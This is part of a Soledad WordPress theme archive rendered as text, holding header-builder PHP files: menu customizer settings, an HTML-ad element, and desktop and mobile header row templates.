			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_main_menu_penci_header_remove_line_hover',
	'default'     => 'disable',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Hide Line When Hover on Menu Items Level 1','soledad' ),
	
	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Primary Menu Items','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_section_slogan_heading',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Colors', 'soledad' ),
	
	'type'      => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_section_slogan_heading_1',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),
	
	'type'      => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_line_height_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_lv1_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_main_menu_penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_main_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);


return $options;
PK     N\"H9  9  -  inc/builder/elements/pb_html_ad/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-1">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     N\D	  D	  ,  inc/builder/elements/pb_html_ad/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\'    #  inc/builder/template/mobile-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$stick_class    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_sticky_setting', '' );
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_middle_column', 'enable' );
$classes        .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'mobile', 'mid' ) ? ' pc-hasel' : ' pc-noel';
$bgtrans        = penci_builder_validate_mod( $header_data, 'penci_header_mobile_midbar_background_trans', 'enable' );
$classes        .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_midbar penci-mobile-midbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_mobile_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "mobile_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\+    +  inc/builder/template/desktop-sticky-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_mid_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'mid' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_mid_content_width', 'container' );
?>
<div class="penci-desktop-sticky-mid penci_container penci-sticky-mid <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_desktop_sticky_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\Ix  x  ,  inc/builder/template/desktop-bottomblock.phpnu [        <?php
$classes = '';
$header_data    = $args['header_data'];
$content_width = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_content_width', 'container-fullwidth' );
$transparent   = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_transparent_background_color' );
$transparent   .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes       .= penci_can_render_header( 'desktop', 'bottomblock' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_bottomblock penci-desktop-bottomblock penci_navbar pcmiddle-normal penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = [ 'center' ];

			foreach ( $columns as $column ) {
				$content_direction = penci_builder_validate_mod( $header_data, 'penci_header_bottomblock_content_direction', 'row' );
				$content_direction = $content_direction ? $content_direction : 'row';

				$setting_align = "penci_hb_align_desktop_bottomblock_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_bottomblock_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_bottomblock_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_content_<?php echo esc_attr( $content_direction ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

						<?php
						if ( ! empty( $elements ) && is_array( $elements ) ) {
							foreach ( $elements as $element ) {
								if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
									load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type' => 'normal-header', 'header_data' => $header_data ] );
								}
							}
						}
						?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\VĶ4  4  (  inc/builder/template/desktop-builder.phpnu [        <?php
$builder_id      = penci_get_header_builder_id();
$header_data     = get_page_by_path( $builder_id, OBJECT, 'penci_builder' );
$header_id       = isset( $header_data->ID ) && $header_data->ID ? $header_data->ID : '';
$customizer_data = get_post_meta( $header_id, 'settings_content', true );
?>
<div data-builder-slug="<?php echo esc_attr( $builder_id ); ?>" id="pcbdhd_<?php echo esc_attr( $builder_id ); ?>"
     class="pc-wrapbuilder-header-inner penci-builder-id-<?php echo esc_attr( $builder_id ); ?>">
	<?php
	if ( is_customize_preview() && $header_id ) {
		$query['post']   = $header_id;
		$query['action'] = 'edit';
		$link            = add_query_arg( $query, admin_url( 'post.php' ) );
		echo '<a target="_blank" href="#" data-href="' . esc_url( $link ) . '" class="soledad-customizer-edit-link custom-link header-custom-link"><button><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg></button></a>';
	}

	if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ) {
		echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>';
	}

	load_template( PENCI_BUILDER_PATH . 'template/desktop-sticky-wrapper.php', true, [ 'header_data' => $customizer_data ] );
	$overlap           = penci_builder_validate_mod( $customizer_data, 'penci_header_overlap_setting' );
	$header_width      = penci_builder_validate_mod( $customizer_data, 'penci_header_wrap_all', 'normal-width' );
	$header_shadow     = penci_builder_validate_mod( $customizer_data, 'penci_header_shadow' );
	$header_wrap_width = penci_builder_validate_mod( $customizer_data, 'penci_header_wrap_width' );
	$classes           = [];
	$classes[]         = 'penci_header penci-header-builder main-builder-header';
	$classes[]         = 'enable' == $overlap ? 'penci_header_overlap' : '';
	$classes[]         = 'enable' == $header_width ? 'container' : 'normal';
	$classes[]         = 'enable' == $header_shadow ? 'shadow-enable' : 'no-shadow';
	$classes[]         = 'enable' == $header_width && $header_wrap_width ? $header_wrap_width : '';
	$classes[]         = 'enable' == $header_width ? 'pchb-boxed-layout' : '';
	?>
    <div class="<?php echo implode( ' ', $classes ); ?>">
		<?php
		$rows = penci_builder_validate_mod( $customizer_data, 'penci_hb_arrange_bar', 'topblock,top,mid,bottom,bottomblock' );

		$rows = explode( ',', $rows );

		foreach ( $rows as $row ) {
			if ( ( ! empty( $row ) && penci_can_render_header( 'desktop', $row ) ) || is_customize_preview() ) {
				load_template( PENCI_BUILDER_PATH . 'template/desktop-' . $row . '.php', true, [ 'header_data' => $customizer_data ] );
			}
		}
		?>
    </div>
	<?php
	load_template( PENCI_BUILDER_PATH . 'template/mobile-builder.php', true, [ 'header_data' => $customizer_data ] );
	load_template( PENCI_BUILDER_PATH . 'template/mobile-menu.php', true, [ 'header_data' => $customizer_data ] );
	?>
</div>PK     N\w'	  '	  $  inc/builder/template/desktop-top.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_topbar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_topbar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_topbar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'top' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_topbar penci-desktop-topbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_flex = "penci_hb_flex_desktop_top_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );

				$setting_element = "penci_hb_element_desktop_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_top_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\4    .  inc/builder/template/desktop-sticky-bottom.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_bottom_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_bottom_content_width', 'container' );
?>
<div class="penci-desktop-sticky-bottom penci_container penci-sticky-bottom <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_desktop_sticky_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_bottom_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>
                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\2t    $  inc/builder/template/mobile-menu.phpnu [        <?php
$header_data = $args['header_data'];
$position    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_sidebar_position', 'left' );
$style       = penci_builder_validate_mod( $header_data, 'penci_header_mobile_sidebar_style', '' );
$style_class = $style ? ' mstyle-' . $style : '';
?>
<a href="#" aria-label="Close" class="close-mobile-menu-builder mpos-<?php echo $position . $style_class; ?>"><i
            class="penci-faicon fa fa-close"></i></a>
<div id="penci_off_canvas"
     class="penci-builder-mobile-sidebar-nav penci-menu-hbg mpos-<?php echo $position . $style_class; ?>">
    <div class="penci_mobile_wrapper">
		<?php load_template( PENCI_BUILDER_PATH . 'template/mobile-menu-content.php', true, [ 'header_data' => $header_data ] ); ?>
    </div>
</div>PK     N\hl  l  ,  inc/builder/template/mobile-menu-content.phpnu [        <?php
$header_data = $args['header_data'];
?>
<div class="nav_wrap penci-mobile-sidebar-content-wrapper">
    <div class="penci-builder-item-wrap item_main">
		<?php
		$elements = penci_builder_validate_mod( $header_data, 'penci_hb_element_mobile_drawer_top_center' );
		$elements = explode( ',', $elements );
		foreach ( $elements as $element ) {
			if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
				load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
			}
		}
		?>
    </div>
</div>
PK     N\X21    +  inc/builder/template/desktop-sticky-top.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_sticky_top_middle_column', 'enable' );
$classes        .= 'enable' == $middle_content ? 'pcmiddle-center' : 'pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop_sticky', 'top' ) ? ' pc-hasel' : ' pc-noel';
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_sticky_top_content_width', 'container' );
?>
<div class="penci-desktop-sticky-top penci_container penci-sticky-top <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php echo esc_attr( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_sticky_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_sticky_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "sticky_element_top_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'sticky-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
